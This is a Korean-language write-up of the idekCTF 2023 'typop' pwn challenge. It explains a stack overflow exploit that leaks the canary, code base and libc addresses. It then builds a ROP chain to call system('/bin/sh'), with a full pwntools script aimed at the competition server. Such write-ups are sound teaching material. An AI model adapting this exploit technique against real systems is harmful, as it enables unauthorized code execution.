2023 idekCTF) Write-up #1 (PWN/ typop)

2023. 1. 16. 16:11CTF

목차

01) PWN) Typop

02) OSINT) Osint Crime Confusion 1~4


2023.01.15~16

 

48시간동안 진행된 idekCTF.

 

This year, our event features intermediate-to-advanced binary exploitation (pwn), reverse-engineering, cryptography, web hacking, and miscellaneous math/programming challenges.

대회 관계자는 idekCTF를 중~고급 문제로 이루어진 CTF라고 소개했다.

다른 분야의 문제들은 거의 보지 못했으나 pwn 문제 난이도로 보았을 때 대회 의도에 맞는 난이도로 구성된 것 같다.

대회 참가 팀 수는 대략 850팀이었고, CTF 최종 순위는 67위를 기록하였다.

 


PWN) Typop (408 pts)

Typop

pwn 분야에서 가장 난이도가 낮은 문제였다.

 

while문을 통해 getFeedback으로 여러 번 돌아갈 수 있다. getFeedback함수에는 두번의 입력이 있고 두 입력 모두 bof가 발생한다.

이를 이용하여 순차적으로 canary leak, code leak, libc leak을 통해 쉘을 획득할 수 있다.

canary leak 방법을 안다면 쉽게 풀 수 있다.

 

canary\x00으로 시작하여 bof가 발생하지 않는다면 알아낼 수 없다.

그러나 bof를 통해 \x00자리를 \n 또는 다른 것으로 채우고 스택이 출력되도록 하면 printf null바이트가 있을 때까지 출력하기 때문에 canary 이후까지 출력된다.

한번 canaryleak했다면 다시 getFeedback함수로 돌아가 바로 code leak 이 가능하다.

code주소를 이용하여 rdi를 got주소로 조작하고 puts함수를 실행하면 libc leak이 가능하기 때문에 쉽게 쉘을 획득할 수 있다.

 

++)

풀이에는 이용되지 않았으나 문제에는 win 함수가 있고 해당 함수의 인자에 순서대로 f, l, a를 입력해야 flag.txt를 읽어올 수 있었다.

아래 더보기를 누르면 win 함수 용도에 대한 나의 예측과 출제자의 실제 의도를 확인할 수 있다.

더보기

확실하진 않으나 win함수를 보아 출제자의 의도가 다음과 같다고 생각하였다.

canary 조절 후 rbp 주소를 canary leak 시 같이 leak된 스택주소를 이용해서 조작하여 rbp-4a (filename) 위치를 y 입력 시 저장되는 스택 주소로 덮고, 스택에 fla가 순서대로 들어가게 한 뒤 ripwin함수로 조작하여 풀 수 있다.

rbp를 조작하였을 때 exploit이 가능한지는 확인해보지 않았으나, 출자제의 의도는 csu_gadget을 이용한 풀이라고한다. 가젯이 부족할 때 csu 동작 과정 일부를 가젯으로써 이용하여 인자조절이 가능한 경우가 있다고한다.

꽤 오래 전부터 알려진 기법임에도 불구하고 아직 관련 문제를 접해본 적이 없었다.

csu의 자세한 동작과 응용법이 생소하였으나, 이 문제를 통해 새로운 기법을 알게되었다.

그러나 굳이 쉘 획득이 간단하게 가능한 문제를 flag 만 읽도록 더 어렵게 풀 이유가 없다고 생각하였으므로 libc의 주소를 구해 풀었다.

또한 code leak 없이도 첫 입력 시 2바이트까지 덮을 수 있기 때문에 1/16확률의 브루트 포싱으로 win함수로 rip를 조절할 수도 있다.

 

- ex.py

#!/usr/bin/python3
# MIsutgaRU

from pwn import *

s = remote("typop.chal.idek.team", 1337)
#s = process("./chall")

# canary leak
s.sendlineafter(b"?", b"y")
s.sendlineafter(b"?", b"y"*10)
s.recvuntil(b"y\n")
canary = u64(b"\x00"+s.recv(7))
stack = u64(s.recv(6).ljust(8, b"\x00"))
log.info("canary: "+ str(hex(canary)))
log.info("stack: "+ str(hex(stack)))
ret_control = b"y"*10 # dummy (stack)
ret_control += p64(canary)
s.sendlineafter(b"feedback?", ret_control)

pause()

# code leak
s.sendlineafter(b"?", b"y")
s.sendlineafter(b"?", b"y"*25)
s.recvuntil(b"y\n")
codebase = u64(s.recv(6).ljust(8, b"\x00")) - 0x1447
log.info("codebase: "+ str(hex(codebase)))

# libc leak
libcleak = b"y"*8 # dummy (rbp)
libcleak += p64(codebase + 0x14d3) # pop rdi ; ret
libcleak += p64(codebase + 0x3f90) # puts_got
libcleak += p64(codebase + 0x10d0) # puts_plt
libcleak += p64(codebase + 0x1410) # back to main
s.sendlineafter(b"feedback?", ret_control + libcleak)
s.recvuntil(b"\n")
libcbase = u64(s.recv(6).ljust(8, b"\x00")) - 0x84420
log.info("libcbase: "+ str(hex(libcbase)))

# call system("/bin/sh")
call_system = b"y"*8 # dummy (rbp)
call_system += p64(codebase + 0x14d3) # pop rdi ; ret
call_system += p64(libcbase + 0x1b45bd) # /bin/sh
call_system += p64(codebase + 0x101a) # ret (stack align)
call_system += p64(libcbase + 0x52290) # system
s.sendlineafter(b"?", b"y")
s.sendlineafter(b"?", b"y")
s.sendlineafter(b"feedback?", ret_control + call_system)

s.interactive()

쉘 획득

idek{2_guess_typos_do_matter}

pwn 분야의 Sprinter 문제와 Relativity는 두 문제 다 fsb에 대한 문제였다.

Sprinter문제는 기본적으로 n을 사용할 수 없으나 %c와 \x00 입력을 이용하여 n검사와 길이 검사를 우회할 수 있다.

그러나 어느 주소를 어떻게 덮을지 찾지 못해 시간 내로 풀지 못했다.

이번 주 내로 푼다면 라이트업으로 추가 할 예정이다. 

Relativity은 %n이 사용 가능하고 got overwrite가 가능하여 스택에 적절한 주소를 변조하고 만들어가며 풀 수 있다.

팀원이 푼 문제이므로 자세한 라이트업은 생략한다.